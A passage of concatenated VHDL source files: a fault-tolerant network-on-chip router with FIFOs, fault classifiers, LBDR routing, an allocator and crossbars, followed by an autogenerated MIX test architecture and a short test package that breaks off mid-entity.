credit_in_N => credit_in_N, credit_in_E => credit_in_E, credit_in_W => credit_in_W, credit_in_S => credit_in_S, credit_in_L => credit_in_L,
-- requests from the LBDRS
req_N_N => '0', req_N_E => Req_NE, req_N_W => Req_NW, req_N_S => Req_NS, req_N_L => Req_NL,
req_E_N => Req_EN, req_E_E => '0', req_E_W => Req_EW, req_E_S => Req_ES, req_E_L => Req_EL,
req_W_N => Req_WN, req_W_E => Req_WE, req_W_W => '0', req_W_S => Req_WS, req_W_L => Req_WL,
req_S_N => Req_SN, req_S_E => Req_SE, req_S_W => Req_SW, req_S_S => '0', req_S_L => Req_SL,
req_L_N => Req_LN, req_L_E => Req_LE, req_L_W => Req_LW, req_L_S => Req_LS, req_L_L => '0',
empty_N => empty_N, empty_E => empty_E, empty_w => empty_W, empty_S => empty_S, empty_L => empty_L,
valid_N => valid_out_N, valid_E => valid_out_E, valid_W => valid_out_W, valid_S => valid_out_S, valid_L => valid_out_L,
-- grant_X_Y means the grant for X output port towards Y input port
-- this means for any X in [N, E, W, S, L] then set grant_X_Y is one hot!
grant_N_N => Grant_NN, grant_N_E => Grant_NE, grant_N_W => Grant_NW, grant_N_S => Grant_NS, grant_N_L => Grant_NL,
grant_E_N => Grant_EN, grant_E_E => Grant_EE, grant_E_W => Grant_EW, grant_E_S => Grant_ES, grant_E_L => Grant_EL,
grant_W_N => Grant_WN, grant_W_E => Grant_WE, grant_W_W => Grant_WW, grant_W_S => Grant_WS, grant_W_L => Grant_WL,
grant_S_N => Grant_SN, grant_S_E => Grant_SE, grant_S_W => Grant_SW, grant_S_S => Grant_SS, grant_S_L => Grant_SL,
grant_L_N => Grant_LN, grant_L_E => Grant_LE, grant_L_W => Grant_LW, grant_L_S => Grant_LS, grant_L_L => Grant_LL
);
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
-- all the Xbar select_signals
Xbar_sel_N <= '0' & Grant_NE & Grant_NW & Grant_NS & Grant_NL;
Xbar_sel_E <= Grant_EN & '0' & Grant_EW & Grant_ES & Grant_EL;
Xbar_sel_W <= Grant_WN & Grant_WE & '0' & Grant_WS & Grant_WL;
Xbar_sel_S <= Grant_SN & Grant_SE & Grant_SW & '0' & Grant_SL;
Xbar_sel_L <= Grant_LN & Grant_LE & Grant_LW & Grant_LS & '0';
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
-- all the Xbars
XBAR_N: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_N, Data_out=> TX_N);
XBAR_E: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_E, Data_out=> TX_E);
XBAR_W: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_W, Data_out=> TX_W);
XBAR_S: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_S, Data_out=> TX_S);
XBAR_L: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_L, Data_out=> TX_L);
end;
|
--Copyright (C) 2016 Siavoosh Payandeh Azad
library ieee;
use ieee.std_logic_1164.all;
--use IEEE.STD_LOGIC_ARITH.ALL;
--use IEEE.STD_LOGIC_UNSIGNED.ALL;
entity router_credit_based_PD_C_SHMU is --fault classifier plus packet-dropping
generic (
DATA_WIDTH: integer := 32;
current_address : integer := 0;
Rxy_rst : integer := 10;
Cx_rst : integer := 10;
healthy_counter_threshold : integer := 8;
faulty_counter_threshold: integer := 2;
counter_depth: integer := 4;
NoC_size: integer := 4
);
port (
reset, clk: in std_logic;
RX_N, RX_E, RX_W, RX_S, RX_L : in std_logic_vector (DATA_WIDTH-1 downto 0);
credit_in_N, credit_in_E, credit_in_W, credit_in_S, credit_in_L: in std_logic;
valid_in_N, valid_in_E, valid_in_W, valid_in_S, valid_in_L : in std_logic;
valid_out_N, valid_out_E, valid_out_W, valid_out_S, valid_out_L : out std_logic;
credit_out_N, credit_out_E, credit_out_W, credit_out_S, credit_out_L: out std_logic;
TX_N, TX_E, TX_W, TX_S, TX_L: out std_logic_vector (DATA_WIDTH-1 downto 0);
Faulty_N_in, Faulty_E_in, Faulty_W_in, Faulty_S_in: in std_logic;
Faulty_N_out, Faulty_E_out, Faulty_W_out, Faulty_S_out: out std_logic;
-- should be connected to NI
link_faults: out std_logic_vector(4 downto 0);
turn_faults: out std_logic_vector(7 downto 0);
Rxy_reconf_PE: in std_logic_vector(7 downto 0);
Cx_reconf_PE: in std_logic_vector(3 downto 0);
Reconfig_command : in std_logic
);
end router_credit_based_PD_C_SHMU;
architecture behavior of router_credit_based_PD_C_SHMU is
COMPONENT FIFO_credit_based is
generic (
DATA_WIDTH: integer := 32
);
port ( reset: in std_logic;
clk: in std_logic;
RX: in std_logic_vector(DATA_WIDTH-1 downto 0);
valid_in: in std_logic;
read_en_N : in std_logic;
read_en_E : in std_logic;
read_en_W : in std_logic;
read_en_S : in std_logic;
read_en_L : in std_logic;
credit_out: out std_logic;
empty_out: out std_logic;
Data_out: out std_logic_vector(DATA_WIDTH-1 downto 0);
fault_info, health_info: out std_logic
);
end COMPONENT;
COMPONENT counter_threshold_classifier is
generic (
counter_depth: integer := 8;
healthy_counter_threshold: integer := 4;
faulty_counter_threshold: integer := 4
);
port ( reset: in std_logic;
clk: in std_logic;
faulty_packet, Healthy_packet: in std_logic;
Healthy, intermittent, Faulty: out std_logic
);
end COMPONENT;
COMPONENT allocator is
port ( reset: in std_logic;
clk: in std_logic;
-- flow control
credit_in_N, credit_in_E, credit_in_W, credit_in_S, credit_in_L: in std_logic;
req_N_N, req_N_E, req_N_W, req_N_S, req_N_L: in std_logic;
req_E_N, req_E_E, req_E_W, req_E_S, req_E_L: in std_logic;
req_W_N, req_W_E, req_W_W, req_W_S, req_W_L: in std_logic;
req_S_N, req_S_E, req_S_W, req_S_S, req_S_L: in std_logic;
req_L_N, req_L_E, req_L_W, req_L_S, req_L_L: in std_logic;
empty_N, empty_E, empty_W, empty_S, empty_L: in std_logic;
-- grant_X_Y means the grant for X output port towards Y input port
-- this means for any X in [N, E, W, S, L] then set grant_X_Y is one hot!
valid_N, valid_E, valid_W, valid_S, valid_L : out std_logic;
grant_N_N, grant_N_E, grant_N_W, grant_N_S, grant_N_L: out std_logic;
grant_E_N, grant_E_E, grant_E_W, grant_E_S, grant_E_L: out std_logic;
grant_W_N, grant_W_E, grant_W_W, grant_W_S, grant_W_L: out std_logic;
grant_S_N, grant_S_E, grant_S_W, grant_S_S, grant_S_L: out std_logic;
grant_L_N, grant_L_E, grant_L_W, grant_L_S, grant_L_L: out std_logic
);
end COMPONENT;
COMPONENT LBDR_packet_drop is
generic (
cur_addr_rst: integer := 0;
Rxy_rst: integer := 8;
Cx_rst: integer := 8;
NoC_size: integer := 4
);
port ( reset: in std_logic;
clk: in std_logic;
Faulty_C_N, Faulty_C_E, Faulty_C_W, Faulty_C_S: in std_logic;
empty: in std_logic;
flit_type: in std_logic_vector(2 downto 0);
dst_addr: in std_logic_vector(NoC_size-1 downto 0);
packet_drop_order: out std_logic;
grant_N, grant_E, grant_W, grant_S, grant_L: in std_logic;
Req_N, Req_E, Req_W, Req_S, Req_L:out std_logic;
Rxy_reconf_PE: in std_logic_vector(7 downto 0);
Cx_reconf_PE: in std_logic_vector(3 downto 0);
Reconfig_command : in std_logic
);
end COMPONENT;
COMPONENT XBAR is
generic (
DATA_WIDTH: integer := 32
);
port (
North_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
East_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
West_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
South_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
Local_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
sel: in std_logic_vector (4 downto 0);
Data_out: out std_logic_vector(DATA_WIDTH-1 downto 0)
);
end COMPONENT;
signal FIFO_D_out_N, FIFO_D_out_E, FIFO_D_out_W, FIFO_D_out_S, FIFO_D_out_L: std_logic_vector(DATA_WIDTH-1 downto 0);
-- Grant_XY : Grant signal generated from Arbiter for output X connected to FIFO of input Y
signal Grant_NN, Grant_NE, Grant_NW, Grant_NS, Grant_NL: std_logic;
signal Grant_EN, Grant_EE, Grant_EW, Grant_ES, Grant_EL: std_logic;
signal Grant_WN, Grant_WE, Grant_WW, Grant_WS, Grant_WL: std_logic;
signal Grant_SN, Grant_SE, Grant_SW, Grant_SS, Grant_SL: std_logic;
signal Grant_LN, Grant_LE, Grant_LW, Grant_LS, Grant_LL: std_logic;
signal Req_NN, Req_EN, Req_WN, Req_SN, Req_LN: std_logic;
signal Req_NE, Req_EE, Req_WE, Req_SE, Req_LE: std_logic;
signal Req_NW, Req_EW, Req_WW, Req_SW, Req_LW: std_logic;
signal Req_NS, Req_ES, Req_WS, Req_SS, Req_LS: std_logic;
signal Req_NL, Req_EL, Req_WL, Req_SL, Req_LL: std_logic;
signal empty_N, empty_E, empty_W, empty_S, empty_L: std_logic;
signal Xbar_sel_N, Xbar_sel_E, Xbar_sel_W, Xbar_sel_S, Xbar_sel_L: std_logic_vector(4 downto 0);
signal faulty_packet_N, faulty_packet_E, faulty_packet_W, faulty_packet_S, faulty_packet_L: std_logic;
signal healthy_packet_N, healthy_packet_E, healthy_packet_W, healthy_packet_S, healthy_packet_L: std_logic;
signal packet_drop_order_N, packet_drop_order_E, packet_drop_order_W, packet_drop_order_S, packet_drop_order_L: std_logic;
signal healthy_link_N, healthy_link_E, healthy_link_W, healthy_link_S, healthy_link_L: std_logic;
signal sig_Faulty_N_out, sig_Faulty_E_out, sig_Faulty_W_out, sig_Faulty_S_out, faulty_link_L: std_logic;
signal intermittent_link_N, intermittent_link_E, intermittent_link_W, intermittent_link_S, intermittent_link_L: std_logic;
begin
turn_faults <= "00000000";
--link_faults <= sig_Faulty_N_out & sig_Faulty_E_out & sig_Faulty_W_out & sig_Faulty_S_out & faulty_link_L;
link_faults <= faulty_packet_N & faulty_packet_E & faulty_packet_W & faulty_packet_S & faulty_packet_L;
Faulty_N_out <= sig_Faulty_N_out;
Faulty_E_out <= sig_Faulty_E_out;
Faulty_W_out <= sig_Faulty_W_out;
Faulty_S_out <= sig_Faulty_S_out;
-- all the counter_threshold modules
CT_N: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_N, Healthy_packet => healthy_packet_N,
Healthy => healthy_link_N, intermittent=> intermittent_link_N, Faulty => sig_Faulty_N_out);
CT_E: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_E, Healthy_packet => healthy_packet_E,
Healthy => healthy_link_E, intermittent=> intermittent_link_E, Faulty => sig_Faulty_E_out);
CT_W: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_W, Healthy_packet => healthy_packet_W,
Healthy => healthy_link_W, intermittent=> intermittent_link_W, Faulty => sig_Faulty_W_out);
CT_S: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_S, Healthy_packet => healthy_packet_S,
Healthy => healthy_link_S, intermittent=> intermittent_link_S, Faulty => sig_Faulty_S_out);
CT_L: counter_threshold_classifier generic map(counter_depth => counter_depth, healthy_counter_threshold => healthy_counter_threshold, faulty_counter_threshold => faulty_counter_threshold)
port map(reset => reset, clk => clk, faulty_packet => faulty_packet_L, Healthy_packet => healthy_packet_L,
Healthy => healthy_link_L, intermittent=> intermittent_link_L, Faulty => faulty_link_L);
-- all the FIFOs
FIFO_N: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_N, valid_in => valid_in_N,
read_en_N => packet_drop_order_N, read_en_E =>Grant_EN, read_en_W =>Grant_WN, read_en_S =>Grant_SN, read_en_L =>Grant_LN,
credit_out => credit_out_N, empty_out => empty_N, Data_out => FIFO_D_out_N, fault_info=> faulty_packet_N, health_info=>healthy_packet_N);
FIFO_E: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_E, valid_in => valid_in_E,
read_en_N => Grant_NE, read_en_E =>packet_drop_order_E, read_en_W =>Grant_WE, read_en_S =>Grant_SE, read_en_L =>Grant_LE,
credit_out => credit_out_E, empty_out => empty_E, Data_out => FIFO_D_out_E, fault_info=> faulty_packet_E, health_info=>healthy_packet_E);
FIFO_W: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_W, valid_in => valid_in_W,
read_en_N => Grant_NW, read_en_E =>Grant_EW, read_en_W =>packet_drop_order_W, read_en_S =>Grant_SW, read_en_L =>Grant_LW,
credit_out => credit_out_W, empty_out => empty_W, Data_out => FIFO_D_out_W, fault_info=> faulty_packet_W, health_info=>healthy_packet_W);
FIFO_S: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_S, valid_in => valid_in_S,
read_en_N => Grant_NS, read_en_E =>Grant_ES, read_en_W =>Grant_WS, read_en_S =>packet_drop_order_S, read_en_L =>Grant_LS,
credit_out => credit_out_S, empty_out => empty_S, Data_out => FIFO_D_out_S, fault_info=> faulty_packet_S, health_info=>healthy_packet_S);
FIFO_L: FIFO_credit_based
generic map ( DATA_WIDTH => DATA_WIDTH)
port map ( reset => reset, clk => clk, RX => RX_L, valid_in => valid_in_L,
read_en_N => Grant_NL, read_en_E =>Grant_EL, read_en_W =>Grant_WL, read_en_S => Grant_SL, read_en_L =>packet_drop_order_L,
credit_out => credit_out_L, empty_out => empty_L, Data_out => FIFO_D_out_L, fault_info=> faulty_packet_L, health_info=>healthy_packet_L);
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
--- all the LBDRs
LBDR_N: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_N,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_N(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_N(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_N,
grant_N => '0', grant_E =>Grant_EN, grant_W => Grant_WN, grant_S=>Grant_SN, grant_L =>Grant_LN,
Req_N=> Req_NN, Req_E=>Req_NE, Req_W=>Req_NW, Req_S=>Req_NS, Req_L=>Req_NL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_E: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_E,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_E(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_E(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_E,
grant_N => Grant_NE, grant_E =>'0', grant_W => Grant_WE, grant_S=>Grant_SE, grant_L =>Grant_LE,
Req_N=> Req_EN, Req_E=>Req_EE, Req_W=>Req_EW, Req_S=>Req_ES, Req_L=>Req_EL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_W: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_W,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_W(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_W(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_W,
grant_N => Grant_NW, grant_E =>Grant_EW, grant_W =>'0' ,grant_S=>Grant_SW, grant_L =>Grant_LW,
Req_N=> Req_WN, Req_E=>Req_WE, Req_W=>Req_WW, Req_S=>Req_WS, Req_L=>Req_WL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_S: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_S,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_S(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_S(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_S,
grant_N => Grant_NS, grant_E =>Grant_ES, grant_W =>Grant_WS ,grant_S=>'0', grant_L =>Grant_LS,
Req_N=> Req_SN, Req_E=>Req_SE, Req_W=>Req_SW, Req_S=>Req_SS, Req_L=>Req_SL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
LBDR_L: LBDR_packet_drop generic map (cur_addr_rst => current_address, Cx_rst => Cx_rst, Rxy_rst => Rxy_rst, NoC_size => NoC_size)
PORT MAP (reset => reset, clk => clk, empty => empty_L,
Faulty_C_N => Faulty_N_in, Faulty_C_E => Faulty_E_in, Faulty_C_W => Faulty_W_in, Faulty_C_S => Faulty_S_in,
flit_type => FIFO_D_out_L(DATA_WIDTH-1 downto DATA_WIDTH-3), dst_addr=> FIFO_D_out_L(DATA_WIDTH-19+NoC_size-1 downto DATA_WIDTH-19) ,
packet_drop_order => packet_drop_order_L,
grant_N => Grant_NL, grant_E =>Grant_EL, grant_W => Grant_WL,grant_S=>Grant_SL, grant_L =>'0',
Req_N=> Req_LN, Req_E=>Req_LE, Req_W=>Req_LW, Req_S=>Req_LS, Req_L=>Req_LL,
Rxy_reconf_PE => Rxy_reconf_PE, Cx_reconf_PE => Cx_reconf_PE, Reconfig_command=>Reconfig_command);
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
-- switch allocator
allocator_unit: allocator port map ( reset => reset, clk => clk,
-- flow control
credit_in_N => credit_in_N, credit_in_E => credit_in_E, credit_in_W => credit_in_W, credit_in_S => credit_in_S, credit_in_L => credit_in_L,
-- requests from the LBDRS
req_N_N => '0', req_N_E => Req_NE, req_N_W => Req_NW, req_N_S => Req_NS, req_N_L => Req_NL,
req_E_N => Req_EN, req_E_E => '0', req_E_W => Req_EW, req_E_S => Req_ES, req_E_L => Req_EL,
req_W_N => Req_WN, req_W_E => Req_WE, req_W_W => '0', req_W_S => Req_WS, req_W_L => Req_WL,
req_S_N => Req_SN, req_S_E => Req_SE, req_S_W => Req_SW, req_S_S => '0', req_S_L => Req_SL,
req_L_N => Req_LN, req_L_E => Req_LE, req_L_W => Req_LW, req_L_S => Req_LS, req_L_L => '0',
empty_N => empty_N, empty_E => empty_E, empty_w => empty_W, empty_S => empty_S, empty_L => empty_L,
valid_N => valid_out_N, valid_E => valid_out_E, valid_W => valid_out_W, valid_S => valid_out_S, valid_L => valid_out_L,
-- grant_X_Y means the grant for X output port towards Y input port
-- this means for any X in [N, E, W, S, L] then set grant_X_Y is one hot!
grant_N_N => Grant_NN, grant_N_E => Grant_NE, grant_N_W => Grant_NW, grant_N_S => Grant_NS, grant_N_L => Grant_NL,
grant_E_N => Grant_EN, grant_E_E => Grant_EE, grant_E_W => Grant_EW, grant_E_S => Grant_ES, grant_E_L => Grant_EL,
grant_W_N => Grant_WN, grant_W_E => Grant_WE, grant_W_W => Grant_WW, grant_W_S => Grant_WS, grant_W_L => Grant_WL,
grant_S_N => Grant_SN, grant_S_E => Grant_SE, grant_S_W => Grant_SW, grant_S_S => Grant_SS, grant_S_L => Grant_SL,
grant_L_N => Grant_LN, grant_L_E => Grant_LE, grant_L_W => Grant_LW, grant_L_S => Grant_LS, grant_L_L => Grant_LL
);
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
-- all the Xbar select_signals
Xbar_sel_N <= '0' & Grant_NE & Grant_NW & Grant_NS & Grant_NL;
Xbar_sel_E <= Grant_EN & '0' & Grant_EW & Grant_ES & Grant_EL;
Xbar_sel_W <= Grant_WN & Grant_WE & '0' & Grant_WS & Grant_WL;
Xbar_sel_S <= Grant_SN & Grant_SE & Grant_SW & '0' & Grant_SL;
Xbar_sel_L <= Grant_LN & Grant_LE & Grant_LW & Grant_LS & '0';
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------
-- all the Xbars
XBAR_N: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_N, Data_out=> TX_N);
XBAR_E: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_E, Data_out=> TX_E);
XBAR_W: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_W, Data_out=> TX_W);
XBAR_S: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_S, Data_out=> TX_S);
XBAR_L: XBAR generic map (DATA_WIDTH => DATA_WIDTH)
PORT MAP (North_in => FIFO_D_out_N, East_in => FIFO_D_out_E, West_in => FIFO_D_out_W, South_in => FIFO_D_out_S, Local_in => FIFO_D_out_L,
sel => Xbar_sel_L, Data_out=> TX_L);
end;
|
-- -------------------------------------------------------------
--
-- Generated Architecture Declaration for rtl of inst_a_e
--
-- Generated
-- by: wig
-- on: Thu Apr 27 05:43:23 2006
-- cmd: /cygdrive/h/work/eclipse/MIX/mix_0.pl -nodelta ../bitsplice.xls
--
-- !!! Do not edit this file! Autogenerated by MIX !!!
-- $Author: wig $
-- $Id: inst_a_e-rtl-a.vhd,v 1.5 2006/09/25 09:49:31 wig Exp $
-- $Date: 2006/09/25 09:49:31 $
-- $Log: inst_a_e-rtl-a.vhd,v $
-- Revision 1.5 2006/09/25 09:49:31 wig
-- Update testcase repository.
--
--
-- Based on Mix Architecture Template built into RCSfile: MixWriter.pm,v
-- Id: MixWriter.pm,v 1.83 2006/04/19 07:32:08 wig Exp
--
-- Generator: mix_0.pl Revision: 1.44 , [email protected]
-- (C) 2003,2005 Micronas GmbH
--
-- --------------------------------------------------------------
library IEEE;
use IEEE.std_logic_1164.all;
-- No project specific VHDL libraries/arch
--
--
-- Start of Generated Architecture rtl of inst_a_e
--
architecture rtl of inst_a_e is
--
-- Generated Constant Declarations
--
--
-- Generated Components
--
component ent_aa
-- No Generated Generics
port (
-- Generated Port for Entity ent_aa
port_1 : out std_ulogic; -- Use internally test1
port_2 : out std_ulogic; -- Bus with hole in the middle __I_AUTO_REDUCED_BUS2SIGNAL
port_3 : out std_ulogic; -- Bus combining o.k. __I_AUTO_REDUCED_BUS2SIGNAL
port_o : out std_ulogic_vector(10 downto 3);
port_o02 : out std_ulogic_vector(10 downto 0)
-- End of Generated Port for Entity ent_aa
);
end component;
-- ---------
component ent_ab
-- No Generated Generics
port (
-- Generated Port for Entity ent_ab
port_2 : out std_ulogic; -- Bus with hole in the middle __I_AUTO_REDUCED_BUS2SIGNAL
port_3 : out std_ulogic; -- Bus combining o.k. __I_AUTO_REDUCED_BUS2SIGNAL
port_ab_1 : in std_ulogic; -- Use internally test1
port_i : in std_ulogic_vector(10 downto 3);
port_i02 : in std_ulogic_vector(10 downto 1)
-- End of Generated Port for Entity ent_ab
);
end component;
-- ---------
component ent_ac
-- No Generated Generics
port (
-- Generated Port for Entity ent_ac
port_2 : out std_ulogic; -- Bus with hole in the middle __I_AUTO_REDUCED_BUS2SIGNAL
port_3 : out std_ulogic -- Bus combining o.k. __I_AUTO_REDUCED_BUS2SIGNAL
-- End of Generated Port for Entity ent_ac
);
end component;
-- ---------
component ent_ad
-- No Generated Generics
port (
-- Generated Port for Entity ent_ad
port_2 : out std_ulogic; -- Bus with hole in the middle __I_AUTO_REDUCED_BUS2SIGNAL
port_3 : out std_ulogic -- Bus combining o.k. __I_AUTO_REDUCED_BUS2SIGNAL
-- End of Generated Port for Entity ent_ad
);
end component;
-- ---------
component ent_ae
-- No Generated Generics
port (
-- Generated Port for Entity ent_ae
port_2 : in std_ulogic_vector(4 downto 0); -- Bus with hole in the middle
port_3 : in std_ulogic_vector(3 downto 0) -- Bus combining o.k.
-- End of Generated Port for Entity ent_ae
);
end component;
-- ---------
--
-- Generated Signal List
--
signal s_port_offset_01 : std_ulogic_vector(7 downto 0);
signal s_port_offset_02 : std_ulogic_vector(7 downto 0);
signal s_port_offset_02b : std_ulogic_vector(1 downto 0);
signal test1 : std_ulogic; -- __W_PORT_SIGNAL_MAP_REQ
signal test2 : std_ulogic_vector(4 downto 0);
signal test3 : std_ulogic_vector(3 downto 0);
--
-- End of Generated Signal List
--
begin
--
-- Generated Concurrent Statements
--
--
-- Generated Signal Assignments
--
p_mix_test1_go <= test1; -- __I_O_BIT_PORT
--
-- Generated Instances and Port Mappings
--
-- Generated Instance Port Map for inst_aa
inst_aa: ent_aa
port map (
port_1 => test1, -- Use internally test1
port_2 => test2(0), -- Bus with hole in the middleNeeds input to be happy
port_3 => test3(0), -- Bus combining o.k.
port_o => s_port_offset_01,
port_o02(1 downto 0) => s_port_offset_02b, -- __W_PORT
port_o02(10 downto 3) => s_port_offset_02 -- __W_PORT
);
-- End of Generated Instance Port Map for inst_aa
-- Generated Instance Port Map for inst_ab
inst_ab: ent_ab
port map (
port_2 => test2(1), -- Bus with hole in the middleNeeds input to be happy
port_3 => test3(1), -- Bus combining o.k.
port_ab_1 => test1, -- Use internally test1
port_i => s_port_offset_01,
port_i02(10 downto 3) => s_port_offset_02, -- __W_PORT
port_i02(2 downto 1) => s_port_offset_02b -- __W_PORT
);
-- End of Generated Instance Port Map for inst_ab
-- Generated Instance Port Map for inst_ac
inst_ac: ent_ac
port map (
port_2 => test2(3), -- Bus with hole in the middleNeeds input to be happy
port_3 => test3(2) -- Bus combining o.k.
);
-- End of Generated Instance Port Map for inst_ac
-- Generated Instance Port Map for inst_ad
inst_ad: ent_ad
port map (
port_2 => test2(4), -- Bus with hole in the middleNeeds input to be happy
port_3 => test3(3) -- Bus combining o.k.
);
-- End of Generated Instance Port Map for inst_ad
-- Generated Instance Port Map for inst_ae
inst_ae: ent_ae
port map (
port_2 => test2, -- Bus with hole in the middleNeeds input to be happy
port_3 => test3 -- Bus combining o.k.
);
-- End of Generated Instance Port Map for inst_ae
end rtl;
--
--!End of Architecture/s
-- --------------------------------------------------------------
|
library ieee;
use ieee.std_logic_1164.all;
package test is
type array_t is array (1 downto 0) of std_logic_vector(1 downto 0);
end package test;
use work.test.all;
library ieee;
use ieee.std_logic_1164.all;
entity b is
port (io_a : inout array_t);
end entity b;
architecture rtl of b is
begin -- architecture dummy
io_a <= ("HH", "LL");
end architecture rtl;
use work.test.all;
library ieee;
use ieee.std_logic_1164.all;
entity a is
port (io_v : inout std_logic_vector(1 downto 0);
io_1 : inout std_logic;
